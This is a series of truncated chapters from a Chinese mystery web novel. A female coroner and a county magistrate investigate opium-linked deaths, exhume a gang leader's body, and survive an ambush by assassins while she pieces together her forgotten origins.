今日难得阴天,天边乌云打薄了许多,使得天地之间都明亮了些许。这别院大约是在郊外,隐约还能听到几声从不远处传来的鸟叫声,显得十分空灵。 月夕洗漱了一番吃完早饭,往主院走去。 主院廊下的花厅之中,王珏正披着一件月白色长衫,正跽坐在茶案边煮着茶,袅袅茶香随风散开,于鸟叫声之下,看着格外缥缈了几分。 待到月夕走近,王珏才回过神。 看到月夕这一身的蓝孔雀装扮,他先是一愣,但很快便收了情绪,像是早知道她会来一般,指着一旁空着的坐席,“坐。” 月夕微微颔首,闻声入了座。 一时之间,两人相对无言,厅中唯有庭院中徐徐微风之声与茶炉上滚滚茶汤的咕噜声此起彼伏。 “县尊……” “顾仵作……” 不知过了多久,两人毫无预兆地异口同声开了口,话音刚落,两人皆是诧异地愣了愣,随后王珏才道,“顾仵作昨晚为何会在城外?” 月夕如实答道,“心中有些疑惑,想去发现尸体的河边看看。” “可看出什么了?” 月夕点了点头,又摇了摇头,“小女所发现的,与县尊相比,只少不多。” 王珏道,“顾仵作谦虚了。” 月夕抬眉,清澈的眼睛看向他,“县尊可是掌握了什么重要线索?” 王珏见茶已经滚开,便往里舀了一勺盐,随后拎起茶壶,给月夕倒了杯茶,“何以见得?” 月夕上下扫了扫他身上的伤,“若非县尊手中掌控了重要线索,那些杀手为何要杀人灭口?县尊可是官。” “官又如何?”王珏冷笑一声,“在有些人眼中,官还不如路边的一条狗。” 没想到他会说这些,月夕蹙了蹙眉,接过了那杯飘着热气的茶,捂在手心。 “可是彩蝶的死因有异?”王珏顿了顿,道。 月夕有些意外,但还是点了点头,“县尊是如何猜到的?” “当日林中还有两个包袱,其中一个包袱里藏着很多金银首饰与女子的衣裳,而另一个放着好些男子的衣物。” 他还未说完,月夕心里便有了数。 彩蝶要自赎,可于妈妈不肯,她在身上纹了那么一个纹绣表决心,情绪又因为阿芙蓉而变得阴晴不定,确实能做出与人奔走之事。 只是与谁呢? 那个读书人吗? “顾仵作今日是否有空?” 月夕正想得入神,被这么一问,整个人一个激灵,似是惊醒过来。 她回过神,道,“县尊可有什么差遣之事?” “嗯。”王珏道,“帮本县验一具尸体。” “敢问何人?” “青龙帮前帮主,楚邦。” 月夕想了想,问道,“县尊以为,彩蝶、我阿爷与于妈妈之死,与青龙帮前帮主之死有关?” 王珏眼底闪过一丝诧异,随即微微一笑,“是。” 月夕又问:“可是与阿芙蓉有关?” 王珏不置可否,并捏起杯盏,抿了一口茶。 他微微凝眉,过了一会儿将杯盏放下,“那扶绥人与顾娘子有旧?” 月夕一时没反应过来,顿了顿,才道,“不曾。” 王珏敛眸,也不知是什么情绪,几息之后,他道,“你……” “潜之哥哥!” 他正要说些什么,门外便传来了苏兰的声音,两人都默契地闭上了嘴。 苏兰提着一只茶壶跑了进来,瞧见月夕在,便大大方方地走到月夕面前。 她笑脸盈盈地将她手里的杯子夺下,又拿了个空杯子,往里头倒满姜茶,“我命人在里头加了些益母草,顾娘子,你快趁热喝了吧。” 月夕接过温热的杯盏,见着杯子里那深红色的姜茶,略微有些出神。 煮姜茶也不过是昨夜她支开苏兰的一个手段,没成想,苏兰还真的给她煮了,还亲自给她送过来,她不过是个仵作…… 她久久不喝,王珏的声音传来:“阿兰自小就在庄子里长大,很多事都是她自己做的,顾娘子莫要有心理负担。” “还说呢!”苏兰将茶壶放在月夕面前的桌案上,质问王珏,“潜之哥哥,我明明给你与竹心都各自做了一套衣裳,你们怎么不穿?” 一想起苏兰给的那些衣裳的配色与款式,王珏嘴角不由得抽了抽,“我乃堂堂县令,自有官服可穿,常服也有规格,你是想本县被弹劾不成?” 苏兰顿时无话了,她瞥了瞥嘴,“罢了。” 她顿了顿,又道:“对了潜之哥哥,你们会在黎阳县待多久呀?” “你指的是你兄长,还是纳兰羿?” “自然是纳……”她顿了顿,大大的眼睛眨巴着:“阿兄和羿哥哥不是跟着潜之哥哥你来的么……” “不是。”王珏定定地看着她,“虽不知他二人来黎阳有何要事,但确不是跟着我来的。” “小娘子家家的,打听这么多作甚?”苏朗不知何时站在了门口,背着手,老神在在地数落着屋子里的苏兰。 苏兰瞥了他一眼,“一声不吭地便从京城跑来黎阳县,我就连问一句都不能吗?” 苏朗扬眉,“你不是想开个不一样的纺织作坊吗?听闻兴海城海运亨通,舶来品又多,我这不是想带你来见见世面么?罢了,你若不想见这世面,明日我着人送你回去好了。” “别别别!我又没说要回去!再说了,你与潜之哥哥、羿哥哥都在这里,我又能去哪儿?”苏兰自知说错了话,咧嘴笑着向苏朗赔罪,“我又做了几套衣裳,一会儿给阿兄送过去呗?” “哼。”苏朗扬了扬下巴,一屁股坐在了王珏身边的坐席上。 苏兰嘻嘻一笑,“我去羿哥哥那儿看看,听说竹心伤得很重,也不知醒了没有。” 说着,她像只粉色的蝴蝶,一溜烟地就飞走了。 苏朗笑笑,一把抢过王珏手里的杯盏,牛饮了起来,喝完,他狠狠用衣袖擦了擦嘴,又将杯盏伸过去,“再给我来一杯。” 王珏瞥了他一眼,手里的动作没动,苏朗一把将茶抢了过来,又给自己斟了一杯。 “你来黎阳县,可是为了阿芙蓉?” 噗得一声,刚喝进嘴里的茶水稳稳当当地被苏朗喷了一地,他整个人也跟着弹跳了起来,“你你你!你怎地……” “回春堂原来的东家出身纳兰山庄,这天下没几个人敢动第一药王山庄的产业。”王珏似笑非笑地看着他。 苏朗嫌弃地啧啧了几声,“真是半点都瞒不过你。” “说说吧。”王珏复又给他倒了杯茶。 苏朗这才如实道来。 原来他在京城开了几家药铺医馆,这些年都相安无事,直到半年前,药铺医馆中的药频频出现了令人上瘾的症状。 起初他还以为是运货人不小心将曼陀罗粉末撒到那些药上了,经过好几个月的深入调查才发现,那些药物很有可能沾上了阿芙蓉的粉末。 “我家药铺里的药都是通过海运运到兴海城,再通过河运运出江南道,最后经过走马官道入的京城。江南道与走马官道上都有人看查,唯一有机会动手的便是兴海城。” 他道,“我拉了纳兰兄过来,便是想来探查一二,毕竟那东西可是禁药,若是被发现了,我有十条小命都难以自保了。” 说着,他还伸出十个手指在王珏面前强调着晃荡。 王珏眉心微微蹙起,“阿芙蓉已然混入京城?” “嗯。”苏朗点点头,“不过,数目似乎不大多。陛下的忘星台快要建好了,未免届时发生不必要的意外,这些日子京城的戒备比往日更森严了些。” “敢问苏郎君,那些粉末可有带来黎阳?”两人正说着,月夕突然开了口。 苏朗微微一愣,但迅速将腰间的一个香囊拿了下来,“未免找不着,这东西我随 17. 忘前尘 《解语(探案)》全本免费阅读 苏朗喝完一整壶茶后便翩然离去,花厅中又只剩下月夕与王珏两人,月夕定定地看着手里的姜茶,一时不知该如何开口。 她有些后悔方才不同苏兰苏朗兄妹一道离开了。 然而有些问题若是压在心底不弄清楚,她总觉着有些难受,于是她将杯中的姜茶喝了个精光,笔直地坐了起来。 王珏面前的桌案上放着七八个小匣子,匣子里各放着好些茶品,他从中挑了一些茶放入再次滚开的茶壶中,随后摩挲着手里的玉珏。 他余光瞥见月夕的小动作,唇角不自觉地微微勾了勾,待到她坐起身,他才道,“此茶名为云山雨雾,顾娘子可要尝尝?” 月夕顿了顿,婉拒道:“我不懂茶。” 王珏眉心微蹙,“无妨,就当是膳后的消遣吧。” 月夕虽迟疑了一会儿,但还是道,“多谢。” “顾宗非娘子生父?” 月夕嗯了一声,“五年前阿爷救了我,见我对仵作一行有所兴趣,又无路可去,便收留了我。” 王珏心尖一颤,五年前…… 他不由得紧了紧手里的玉珏,手心竟有些微微出汗,“昨晚夜袭,无意间瞥见了娘子脖子上的一块玉,那玉质地纯粹,一看便是上佳之品,想来顾娘子从前的身份不低。” 月夕微怔,就连她自己都是昨夜沐浴时才发现玉掉出来了,没成想竟是先被他发现了。 她抽了抽脖子上的那条红绳,将那块玉提了出来。 这是一块罕见的红蓝白玉,温润的红心外包裹着一圈蓝色的暗纹,肉眼下只能瞧见一个轮廓,但若在阳光下,便能呈现出一圈金色的纹路来,乃这世间最极品的美玉之一。 她将玉放在王珏面前的桌案上,“醒来时,这块玉便挂在我的脖子上,我不懂玉,也不知这玉是个什么来历。县尊自京城而来,可能看出些什么?” 王珏定定地看着这块玉,有些出神,紧握着玉珏的手竟隐约有些发抖,良久,他才从唇边挤出一丝笑意,“看品相,这块玉,该是极品。黎阳县鱼龙混杂,顾娘子还是赶紧收起来的好。” 月夕点点头,将那玉复又戴回了脖子上,“县尊当真没看出些什么吗?” 王珏饮了口茶,不动声色地将玉珏收回袖袋中,道,“京城美玉虽多,如娘子这般品相的美玉却也有那么一两件,大多在商户手中。兴许娘子从前出身商户也未可知。” 月夕敛眸,看上去不算失望,也不算是欣喜。 王珏暗暗深呼吸一口气,问道,“娘子当真记不得前尘往事?” 月夕颔首,“嗯。” 王珏垂眸,眼底闪过一丝黯然,“兴许这是件好事。” 月夕微微抬首,“敢问为何?” 王珏道,“听闻娘子被救时浑身尽是伤痕,许是从前过得很糟,若是如此,记起前尘不过是另一种凌迟罢了。” “县尊的前尘似是很不愉快?”月夕看着他,眼神依旧清澈。 王珏自嘲一笑,眼底却满是悲凉,“只是眼见着恩师蒙冤惨死却无能为力,极力上告却险些连累家族,还……” 他顿了顿,笑容里带了些苦意,“还将未婚妻给丢了。” 月夕不大懂他的情绪,但看他的样子,似是很伤心,于是道,“所以县尊来黎阳县,是因上告无果?” “是。”王珏抬头,定定地看着她,漆黑的眼眸里全是月夕的影子。 “可是因为证据不足?还是有心之人从中作梗?” “两者皆是。” “县尊来此,可是为了寻找线索?” “是。” 月夕点点头,终于解开了盘旋在她心里很久的疑惑。 县尊刚来就遇刺杀,第一起刺杀姑且算作是凶手不想暴露情急之下所为,但昨夜这起却是接连不断的刺客,而且显然是冲着县尊的命来的。 县尊来自京城,又出身琅琊王氏,身份不低,一旦在黎阳县被害,势必会惊动上面的人,这并非是杀人凶手喜闻乐见的,可若有人在背后兜底,那便不同了。 黎阳县的情势又十分复杂,想了许久,月夕道,“那人可是宫里的掌印秦大监?” 王珏微怔了几息,随即勾唇一笑,“是。” 月夕紧蹙起眉,这或许有些难办了。 她远在黎阳县都有所耳闻,如今皇帝陛下沉溺于修仙问道,几乎所有朝务都由那位秦大监与首辅柳相把持。 就黎阳县来说,因着与兴海城城主有些关联,莫府即便作威作福,对其拥护之人也不在少数,更何况繁华的京城。 他所为,几乎是…… “以卵击石?”王珏微挑起眉,眼里满是坚定,“即便蚍蜉撼树,能为恩师平冤,我也愿一试。” 月夕站起身,冲他行了个大礼,“县尊大义,小女受教。” “但小女还是不大认同县尊方才的观论,就当事者而言,人若无来路,又何谈去路呢?” 她福了福身,“小女告辞。” 看着她离去的背影,王珏瞳孔微震。 他竟是……想错了吗? 从主院出来,再经过两个回廊,往左拐便是客院。 这别院的客院格局与寻常客院有些不同。 寻常客院都是单独的院落,每个院落里都有一间待客的厢房;而此处的客院却是一个很大的庭院,庭院中筑了好几个阁楼,每个阁楼之间都有一片景观相互连接隔断——只是景观早已荒废,如今都被种上了各式各样的药草。 看那新翻的土,显然是新种上的。 刚至庭院,月夕便闻到一股十分浓重的药味,苏兰正与她那小侍婢一人拿着一把蒲扇,蹲在庭院里,对着一个煮着药汤的药炉子猛扇着风。 仿佛只要这般做,炉子上的汤药便会更快煮沸一般。 苏兰一眼便瞧见了她,站起身冲她招了招手,“顾娘子。” 月夕冲她微微颔首,走近前去,“这是……” 苏兰指着药炉子道,嫌弃地撇了撇嘴,像是在用她的表情说药的难喝程度,“竹心的药,羿哥哥说,这药他一日要喝三回。” 月夕点头,正要问亓官彧的事,却见苏兰鬼祟地靠近几步,指着不远处第二座阁楼小声地在她面前问,“顾娘子,那边一楼那家伙,是你的熟人吗?” 月夕蹙眉,今日他们怎地都爱问她这个问题? 她问,“怎么?” 苏兰冷哼一声,依旧小声地在她耳边说:“那人奇怪得很,明明气血两亏,却不让羿哥哥近身,还险些弄伤羿哥哥,若非熟人……” 她咬牙切齿道:“我这就去给他的食物里下点东西!” “不是很熟。”月夕道,“但他算是救过我与县尊。” 听到前头四个字,苏兰都已经想好下什么东西了,可听到后头半句,方才还冒光的眼眸倏地暗淡了下去。 苏兰只好泄气,“罢了,既然是你与潜之哥哥的救命恩人,我便好好供着吧——可他当真奇怪得很!明明受了伤,怎地还不让人瞧?” “他……”月夕一时不知用什么词来形容,在脑海中搜刮了一遍,最终搜到 18. 柳姓商户 《解语(探案)》全本免费阅读 “我不去。”月夕几乎毫不犹豫地脱口而出。 亓官彧追问:“为何?” 月夕正色道,“阿爷的仇还未报。” “我帮你。” 月夕依旧拒绝,“听闻扶绥情势不好,我不想去送死。” 亓官彧本还想再劝一劝,可思考了许久却还是闭上了嘴。 如今扶绥的情势确实不好。 月夕看着他,很是认真,“亓官郎君不回去吗?” 那双墨绿的眸子忽得暗了下来,亓官彧冷笑一声,“他们要杀我,我为何还要回?” “哦。”月夕点点头,后退了好几步,冲他福了福身,“小女自问并未得罪郎君,郎君的救命之恩,小女也定会想法子报的。” 亓官彧眉心微蹙,“你这是何意?” 月夕微微敛眸,“扶绥情势不好,又有人追杀郎君,郎君还要带我去扶绥,这不就是不想让小女活么?” “我……”亓官彧一时语塞,他并非此意,可被她这么一说,却还真显出了这么个意思来。 月夕起身要走,亓官彧一个闪身拉住了她,“你都……你都不好奇吗?” “好奇什么?” “好奇我为何会被追杀,好奇我为何要带你走。” 月夕觉得有些莫名奇妙,转身看他,“我为何要好奇?” 亓官彧瞬间没脾气了,他叹了口气,无奈道:“你到底是个怎样的女子?” 月夕想了想,认真地摇了摇头,“我也不知道。” “你难道想要一直当一个仵作?” 月夕又想了想,“不知,或许是吧。阿爷他也当了一辈子仵作了。” 亓官彧拉着她的手紧了紧,“那你知道你是谁吗?” 月夕终于咂摸出了些味儿来,清澈的眼神里荡起了些许的涟漪,心脏也跟着乱蹦了起来,“你……知道?” 似是被戳破了什么秘密,亓官彧别扭地收回了手,背过身去,不再看她。 月夕走到他面前,亓官彧比她高出一个头,抬头看他时,她只能仰着脖子,“你知道我是谁?” 亓官彧别过脸去,看上去确实是在生气。 月夕焦急地抓起他的胳膊,“郎君,还请您告知小女。” 徐徐微风自窗外吹来,轻轻撩起两人的衣摆,也不知被月夕盯看了多久,亓官彧这才软下心来。 “大概七八年前,我曾跟随师父来下唐游历,途径青禾县,谁想那群人也一路从扶绥追到了下唐,我与师父遭了暗算身受重伤,为了保命,我与师父落水求生。” 他微微抬眸看着月夕,“正好有一艘商船在不远处路过,我被一个少女救上了船。” “没想到那少女看着弱不禁风,却聪慧至极,也不知用了什么法子,那些人不仅不再追杀我,后来竟还将我与师父护送回了扶绥,由此,我才捡回了一条命。” 他顿了顿,“起初我只觉着你的声音有些耳熟……” 月夕恍然,“所以你一直在试探我?” 亓官彧微微一笑,“是,也不是。我觉着没了记忆的你,也挺有趣的。” 月夕还是不大信:“郎君当真确定,那商船上的少女是我?” 亓官彧冲她的脖子微微挑了挑眉,“直到看到那块玉,我才确定。” 月夕下意识地摸了摸藏在衣裳里的那块玉,这玉自醒来时她便一直戴在脖子上,大约是自小便有的。 她近前半步,追问道:“郎君肯定当年救你的是一艘商船?可知船上装的是什么货物?是哪家的船?” 亓官彧以为她会有一种久别重逢的欣喜,即便没有,至少也是开心的,却没想到她竟拉着他问这些事。 他眨了眨眼,道,“是商船,船上都是些皮货,船主姓柳。” 月夕又近前半步,身子几乎要贴近他了,“那少女呢?叫什么?” 亓官彧喉间微微一动,耳尖倏地红了起来,他别扭地后退了半步,摇了摇头,“船上的人都喊她为大娘子。” 大娘子…… 月夕喃喃了一声。 若那少女就是她,那她该是那姓柳商户家中的长女,或者独女,若不是…… 月夕的脑子一下子乱了起来,甚至还有些隐隐作痛。 她咬牙向亓官彧福了福身,“多谢郎君,小女先行告辞。” 说着,也不顾亓官彧挽留,转身便跑开了。 偏巧,七八年前,亓官彧在青禾县遇见了乘着商船的戴玉少女,偏巧,折磨她多年的梦魇中便有船只与河水,偏巧,王珏说她脖子上的玉兴许来自商户之家,偏巧,亓官彧又根据这块玉认出了她。 如此多偏巧之事合在一起,若再寻不着其中破绽,那么,便只能是事实了。 她,是青禾县柳家商户之女。 那她家的船只为何会被火烧?梦中火里的人为何要让她走?又是谁派了杀手来杀人灭口? 还有,柳家到底发生了何事? 正思考着,屋子的门被敲响了,门外传来苏兰的声音。 “月姊姊,你怎么了?可是身子不舒服?月姊姊……” 敲门声并没有歇下的意思,月夕回过神,拧了拧眉心,过去打开了房门。 随着门被打开,苏兰倏地跑进来拉住她的手,并上下左右细细检查了起来。 “月姊姊!你没事吧?可是伤口又裂开了?我让阿香去喊羿哥哥了!” 月夕本想说不用,可回过神后才觉脖子的伤口处有隐约的痛感传来,她摸了摸,伤口竟是在往外渗血,将裹着的白色纱布浸染得通红。 见她不语,苏兰二话不说将她扶到床榻上,随后蹦蹦跳跳地往客院跑去,才没过多久,她便将还在睡梦中的纳兰羿拽了过来。 “羿哥哥,你快看看月姊姊,她是不是失血过多了?” 纳兰羿蓬头垢面地站在床榻前,揉了揉自己的太阳穴,看了月夕一眼,才道,“给她换药。” 说完,没等苏兰再说什么,他便一甩衣袖,走出了屋子。 苏兰追了出去,“羿哥哥,月姊姊的伤真的不要紧吗?” 纳兰羿道,“你若再不给她换药,那就要紧了。” “哦!”苏兰连连点头,拉上阿香再次回了月夕的屋子。 彼时的月夕早已起身在窗台下的梳妆镜前坐下,一点一点地拆着脖子上的纱布。 苏兰一进门,看到她这般,慌忙过来帮忙,“月姊姊,我来帮你吧。” “不用了。”月夕道,“我自己可以。” “哦。”苏兰撇了撇嘴,默默地站在她身后,随时等着帮忙。 不过一会儿,月夕便包扎完了,正要起身 19. 楚邦之死 《解语(探案)》全本免费阅读 深秋夜里本就凉,也不知从何处吹来的阵阵冷风,竟是让月夕不由得打了个寒颤。 陈木抻着脖子环顾了一圈,指着不远处的一处坟包道,“郎君,在那里。” 王珏提着灯缓缓走过去,却见面前这处坟包前零零散散地插了几支幡,坟前零散地摆着几根燃尽的蜡烛与香根,还有一只燃纸钱的炭盆,除此之外,便再也没什么了。 就连墓碑与贡品都没有。 陈木啧啧几声,“楚帮主生前那般威望,死后却如此凄凉,竟是连祭拜的人都没有。” “黎阳县人还不知道楚帮主已死。”王珏缓缓蹲下身,随便捡了一根棍子,在那未燃尽的炭盆里挑了挑,“看来还是有人记着他的。” 月夕环顾了一圈,微微颔首,“这里的风水不错,看来埋楚帮主的人对他也是敬重的。” 王珏站起身,“顾娘子还懂风水?” 月夕顿了顿,嗯了一声,“最近在给阿爷看墓地,略懂一些。” 王珏神情顿时僵住,“抱歉。” 月夕却道:“人生来便是要死的,不妨事。” 她看了看天色,“县尊,我们何时开始?” 王珏没想到她会这般想,神色微凝,提着灯笔直地站在那里,“现在。” 陈木得命拿了一把锹,掀了地上大片的土,不多时,坟坑下的棺木便露了出来。棺木虽然简易,却是用金丝楠木做成,看上去低调却不失奢华。 陈木用锹指着棺木,问:“郎君,打开吗?” 王珏神色如常,道,“打开。” 陈木拿来工具,吱呀一声将棺钉撬开,下一刻,棺盖便被打开了,里头正躺着一个身着寿衣的男子。 正是楚邦。 死去多日,楚邦身体多处已然开始腐化,月夕穿戴好自己的工具,近身微微一探。 夜色正浓,几人将灯盏聚在一起才能看清尸体,只一眼,月夕便咦出了声。 “怎么?”王珏问。 月夕紧蹙起眉,摇了摇头,伸手翻开楚邦的一双眼皮子看了看,又解开寿衣看了看,最终一脸凝重地将所有还原,退出坑去。 “楚帮主死前已然形成脑疝,我曾听阿爷说,他患有心疾。”她道,“他死前定是受了很大的刺激。” 王珏反问:“被气死的?” 月夕也觉得有些奇怪,楚邦在黎阳县名望很高,按理说该风光大葬,没成想他却被埋在这种地方,竟是连块墓碑都没有。 可即便如此,他却享受着最好的金丝楠木的棺木,寿衣也是用的最好的品质,甚至也有人来给他烧香烧纸,这有些不大合理了。 “而且。”月夕神色凝重,“他肌肤上也有不同程度的瘀痕,看来生前也服食过阿芙蓉。只是不知是阿芙蓉的刺激导致他身亡,还是旁的什么事。” 她褪下白叠布手套,收回工具箱内,正要往后退几步,突然脚底一疼。 她以为是块石头,低头一看,竟是一只镶着宝石的戒指,“县尊!” 王珏闻声而来,见月夕拾起一枚戒指,拎着烛火过来看了看,却见那戒指不大,边圈用的金丝勾勒,正中央镶嵌的是一块色泽温厚的祖母绿,在烛火中映出莹莹绿光。 “戒圈不大,像是女子的饰物。”王珏道。 月夕上下看了看,光泽如新,“有女子来祭拜过?” 王珏眯了眯眼,“或许吧。” 夜色越来越浓,楚邦的坟重新修好之后,众人打算离去,谁想几人才刚走出乱葬岗,打手的领头便停了下来。 陈木道,“郎君,有人拦路。” 王珏似是早就料到有人拦路,近前半步,将月夕护在身后,小声问,“银针带了吗?” 月夕眸光一闪,默默点了点头。 不过眨眼功夫,山道四周竟是围满了黑衣人——看衣着,像是昨晚的那些。 王珏从袖袋中抽出一把扇子,紧握在手里,冷笑一声,“贵主还真是穷追不舍,只可惜本官的命硬得很。” 为首的那个黑衣人没想到王珏会同他们喊话,嗤笑一声,“王郎君的命虽硬也贵,只要砍一刀便得百两银,若要了命,便是五百两金。” “那这一回,你们要好好努力了。”说着他暗暗后退半步,拉起月夕的手,小声道,“先自保。” 月夕暗暗紧了紧腰间的银针,沉重地点了点头。 “就凭这些废物?”黑衣人轻蔑一笑,一声令下,布在林子里的那些黑衣人如蜂群般涌了出来,粗略看了一圈,竟有二十几人之多。 每一个人几乎都身怀绝技,月夕竟是莫名的紧张了起来,这一幕,像极了梦魇的某一个场景。 “顾娘子,快跑!” 竟连耳边声音的内容,也与梦魇里的场景很像。 “顾娘子!” 王珏一边护着她一边叫她,手里的扇子不知何时化作了匕首,将杀手们涌来的攻击挡在外头。 月夕蹙了蹙眉,这声音似是不对,她立刻回过神,却见王珏紧紧拉着她的手,正往林子里跑。 “县尊!” 王珏看到她眸色重明,悬着的心终于放了下来,“一会儿我会突围,你趁机离开!” 月夕已经拿出银针,环顾了一圈,明白二人处境后,眼神突然变得锐利了起来,“县尊,他们的人数并没有增加,我们若是死战,便有一线生机!” “不必死战,他们撑不了多久!你快走!”王珏拉紧她的手腕,将她往黑衣人少的地方推,“林子的东南方向一百步左右,有一个下坡,那里正好藏人,你先过去。” 月夕蹙起眉头,还来不及疑惑,整个人就被他狠狠推了出去,她一个趔趄,一不小心踩了空,面前是一层层厚重的灌木丛,下一刻,她竟埋进了里头。 她也没想到这灌木丛会这么深,但好在灌木丛中没什么荆棘,她身形又瘦小,只不过稍稍一滚,整个人都被淹没了。 月夕想冲出去帮忙,可她的那些手段只能出其不意,若当真要单打独斗,她恐怕还不能在那些黑衣人手里平安过下一招。 眼下这种局势,她只能静观其变。 一盏茶的功夫过去了,那些黑衣人仿佛把她忘了,月夕这才敢稍稍动一动。 林子里的打斗还在继续,透过灌木叶往那边看去,王珏带来的那些打手大部分都被灭了口,剩下的两个打手也已因伤势过重显得疲惫不堪,此刻的战局中只剩下王珏、陈木以及那些黑衣人。 黑衣人虽也有所损伤,但有几个伤得不深,全都站起身拿了兵器朝王珏围过去。 陈木的武功不弱,但相比竹心而言,却还差了一些,若他不受伤且体力完整,对付这些黑衣人勉强可行。可他也已经受伤,面对这些人怕是生死难料,更别说武力不高的王珏了。 月夕冷哼一声,此等境况,若不是拼力死战怎么行? 她将手里的银针揣紧,那双清澈的眸子如鹰隼般,躲在暗处细细观察着。她在等待时机,等待一个能够突然袭击的机会。 粗略数了数,黑衣人伤了十二个,站不起来的有八个,剩余的那些人此刻皆站在不同方位,伺机对王珏进行围攻。 王珏似乎有意将他们引到密林深处,远离她的位置,此时的所有黑衣人正都往那个方向而去。 此时正是出其不意的最佳时机! 月夕正要起身,可有那么一瞬,她不知为何,总觉得那几个重新站起来的黑衣人,行为举止有些许说不上来的怪异。 也正是因为这么一分神,她被在附近 20. 水火不容 《解语(探案)》全本免费阅读 月夕正愁如何将他推走,王珏走过来一把将亓官彧拎了起去,“亓官郎君若是累了,便寻个地方好好歇歇吧。” 说着,他手一松,还没来得及站稳的亓官彧竟是直挺挺地往地上摔了过去。 好在他反应快,在快要落地之时,他腰间猛地一使劲儿,整个人顺势一扭转,站了起来。 他冷笑一声,眉宇间皆是冷意,“哟,王县令还真是好大的官威啊!” 王珏将月夕护在身后,微抬眼皮轻蔑得看了他一眼,“当着本官的面调戏我下唐女仵作,亓官郎君也是好大的胆子!” 两人正忙着剑拔弩张,月夕却早已将地上的尸体摸了个遍。 好在今日带了验尸的工具,她迅速解开那几具尸体的衣裳,问陈木要来烛火,拿着工具细细查看了起来。 检查了大概半刻钟的时间,她才缓缓站起身,正要向王珏汇报,却见面前两人竟是站在那里相互盯着,一动不动。 月夕顿觉气氛不对,微蹙起眉,走到陈木面前,帮着他给那两个伤重的打手处理伤口,压着声音问道,“县尊与亓官郎君这是在做什么?” 陈木摇了摇头,眼神有些凝重,“郎君似乎有些不高兴。” 月夕一时不知该如何处理这样的事,问他:“那……我们该如何是好?” 陈木抿了抿唇,站起身拖着因受伤而瘸了的腿,朝两人一瘸一拐走去,“郎君,天色不早了。” 王珏丝毫不想理会陈木,眼神中满是怒意。 陈木顿了顿,再劝,“郎君,咱们要不要早些回去,叫人给这些兄弟们收尸?” 听到收尸二字,月夕也跟着道,“县尊,这几具尸体,我想带回去复验。” 王珏像是才回过神,瞪了亓官彧一眼后,转身问月夕,“全部带回去?” 月夕点点头,“是。” 一阵冷风鱼贯而来,月夕一个没注意,竟是被吹得整个人一个激灵,王珏看着她小小的身影立在风中,心生不忍,道,“先回去吧。” 那两个打手伤及肺腑,不宜坐车,便留下看尸首,月夕依依不舍地回看了一眼黑衣人的尸体,便拎着工具箱子钻进车里。 她本想寻个边沿角落的位置,便于思考方才在尸体上发现的那些古怪之处,谁想才刚坐下,王珏便紧挨着坐了过来。 她诧异地往那边看了过去,却见亓官彧满目凶光地站在王珏跟前,像是在控诉着什么,察觉到月夕的目光之后,他又向她投来了一个十分哀怨的目光,这惹得月夕顿觉有些莫名其妙。 “县……县尊?”月夕看了眼主座,又看了眼王珏,按理说,王珏此刻该坐在那里的。 王珏却道,“亓官郎君身受重伤,主座宽敞,便于他疗伤。” 月夕顿觉有理,亓官彧体质特殊,身上的血腥味也早已充满车厢,若让他坐角落里,一路颠簸,伤口难免会再次裂开。 于是她闭上了嘴,调整了下位置,便于王珏安坐,然后准备走神,思考脑海里的那些问题。 谁想她刚要入定,亓官彧便“哎哟”了一声,瘫坐在了主座上。 他身形不小,瘫坐时又用了劲儿,惹得马车跟着他一道震了震,月夕也跟着颤了颤,回过神来诧异地看向他。 亓官彧又哎哟了一声,捂住正在渗血的伤口,很是痛苦道,“月娘,你快帮我看看,我的伤口许是裂开了。” 他的体质很是特殊,所以月夕也不确定他说得是真是假,可看他那张惨白的脸,她拧了拧眉,正欲近前。 “月夕是我衙门仵作,恐不便出手。”王珏一把拦住月夕,眸色冰冷阴沉地看着他,“本官略懂些处理伤口之法,许是能帮上亓官郎君一二。” 亓官彧眯了眯眼,却不理他,只看向月夕,“小月娘,我千里迢迢赶来救你,你便这般狠心对我?” 月夕眯了眯眼,透过烛光看到了亓官彧的伤口,正想开口,忽然又想起林子里那几具黑衣人身上的伤口。 虽然夜色很浓,那些尸首又是一身黑衣,但是从伤口中渗出的血液,却是红得令人触目,似是……比寻常人的血更红一些。 与亓官彧的血,竟是有那么一点点像。 月夕突然灵光一闪,原来这便是她一直想不通的地方。 她忽然站起身,从工具箱子里拿出一双干净的白叠布手套,又拿出一把镊子与琉璃叆叇,走到亓官彧面前。 亓官彧以为她要给自己处理伤口,朝王珏挑了挑眉,随即又做出一副十分虚弱的样子,月夕才刚坐下,便用镊子掀开了他的伤口旁被割破的衣裳,戴上叆叇,检查得十分认真仔细。 这样子,像极了在验尸。 霎时间,马车里一片寂静。 亓官彧也不敢乱动,就怕他稍稍一动,月夕手里的镊子便会插入他的伤口里。 王珏则是默不作声坐在一旁,冷冷得看着,时不时给自己倒杯茶,又时不时地给月夕递上她所需的工具,俨然是一个助手。 没了吵闹,马车里的时间便过得很快,月夕都还没细细勘验,马车便回了苏家别院。 苏朗听闻他们受了伤,连忙将正在熟睡中的纳兰羿喊了起来,眼见着王珏面色凝重地从马车里走出来,苏朗的心也跟着凝重了起来。 他近前拉住王珏的手,焦急道:“潜之,你没事吧?让纳兰给你瞧瞧……” “不必了。”王珏轻抬眼皮,眸光骤冷,“派人将那十几个兄弟安葬了吧。还有,将刺客的尸体全都抬回来。” 苏朗与王珏认识很多年了,从来没见过他这幅样子,一时之间,他竟不知该说些什么,只顾着点头应承。 苏兰也焦急地跑了过来,见着众人浑身是血,跑过来拉住月夕的胳膊,“月姊姊,你受伤了呀?要不要紧?” 月夕摆了摆手,回头问苏朗,“苏郎君,那些尸首何时能带回来?” 苏朗诧异地张了张嘴,随即反应过来,“我尽快!” 说着,他亲自带人出去运尸体了。 月夕这才放下心来,对苏兰道,“阿兰,可有热水?” “有!”苏兰道,“烧了好些呢!” 月夕点点头,“劳烦……我想沐浴。” 苏兰道:“好!” 亓官彧是最后一个下的马车,他的脸色是 21. 消失的尸体 《解语(探案)》全本免费阅读 月夕放下工具箱子,立即往主院跑去,赶到时,苏朗正将王珏面前的茶喝了个精光。 她还是坐回早前的那个位置,面前的几子上早已摆了一杯茶,茶香袅袅,温度刚好。 苏朗还要再喝,手里的杯盏却被王珏一把夺了去,“说。” 苏朗耸了耸肩,这才道,“说来也是奇怪,我赶到时,那片林子干净得像是什么都没发生过,莫非地上的血迹,我险些以为走错地方了!” 他强调道,“我可是搜了方圆三四里!就连楚邦的坟包都去瞧过了!什么尸体都没有!跟闹鬼似的!” 月夕蹙眉:“敢问,那两个活着的呢?” 苏朗摇头,“没有,一个死人都没见着,更别说是活人了!” 